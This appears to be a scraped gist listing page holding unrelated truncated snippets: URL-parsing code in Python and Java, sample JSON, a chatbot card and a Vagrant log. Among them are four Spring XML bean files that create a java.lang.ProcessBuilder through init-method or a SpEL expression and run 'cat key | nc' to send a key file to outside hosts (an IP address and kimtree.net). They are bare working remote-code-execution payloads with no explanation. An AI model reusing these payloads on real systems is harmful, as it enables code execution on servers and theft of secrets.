This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from urllib.parse import urlparse | |
o = urlparse('http://bing.com/search?q=[%temp%]&abc=what&this=that') | |
print(urllib.parse.parse_qs(o.query)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.net.URL; | |
import java.net.URLDecoder; | |
public class HelloWorld | |
{ | |
public static void main(String[] args) | |
{ | |
try { | |
URL url = new URL("http://foo.com?a=[%abc%]&b=test"); | |
System.out.println(url.getPath()+"?"+url.getQuery()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// data cherry-picked from https://gist.github.com/nigayo/ade2c3f74417fc202c8097214c965f27 | |
const data = { | |
"debug": "on", | |
"window": { | |
"title": "Sample Konfabulator Widget", | |
"name": "main_window", | |
"width": 500, | |
"height": 500 | |
}, | |
"image": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<beans xmlns="http://www.springframework.org/schema/beans" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> | |
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> | |
<constructor-arg> | |
<array> | |
<value>/bin/bash</value> | |
<value>-c</value> | |
<value>cat ./key | nc 10.128.218.64 1024</value> | |
</array> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<beans xmlns="http://www.springframework.org/schema/beans" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> | |
<bean id="processBuilder" class="java.lang.ProcessBuilder"> | |
<constructor-arg value="cat key | nc kimtree.net 8282"/> | |
<property name="name" value="#{ processBuilder.start() }"/> | |
</bean> | |
</beans> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<beans xmlns="http://www.springframework.org/schema/beans" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> | |
<bean id="processBuilder" class="java.lang.ProcessBuilder"> | |
<constructor-arg value="cat key | nc kimtree.net 8282"/> | |
<property name="name" value="#{ processBuilder.start() }"/> | |
</bean> | |
</beans> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<beans xmlns="http://www.springframework.org/schema/beans" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation=" | |
http://www.springframework.org/schema/beans | |
http://www.springframework.org/schema/beans/spring-beans.xsd | |
"> | |
<bean id="pb" class="java.lang.ProcessBuilder"> | |
<constructor-arg value="cat key" /> | |
<property name="whatever" value="#{ pb.start() }"/> | |
</bean> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ㅐ{ | |
"version": "2.0", | |
"template": { | |
"outputs": [ | |
{ | |
"basicCard": { | |
"title": "cute lulu", | |
"description": "lulu is cute", | |
"thumbnail": { | |
"imageUrl": "https://i.ytimg.com/vi/LNGSQHQdBW4/maxresdefault.jpg" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
homestead-7: Are you sure you want to destroy the 'homestead-7' VM? [y/N] y | |
==> homestead-7: Forcing shutdown of VM... | |
==> homestead-7: Destroying VM and associated drives... | |
==> homestead-7: Pruning invalid NFS exports. Administrator privileges will be required... | |
Password: | |
Bringing machine 'homestead-7' up with 'virtualbox' provider... | |
==> homestead-7: Importing base box 'laravel/homestead'... | |
==> homestead-7: Matching MAC address for NAT networking... | |
==> homestead-7: Checking if box 'laravel/homestead' is up to date... | |
==> homestead-7: Setting the name of the VM: homestead-7 |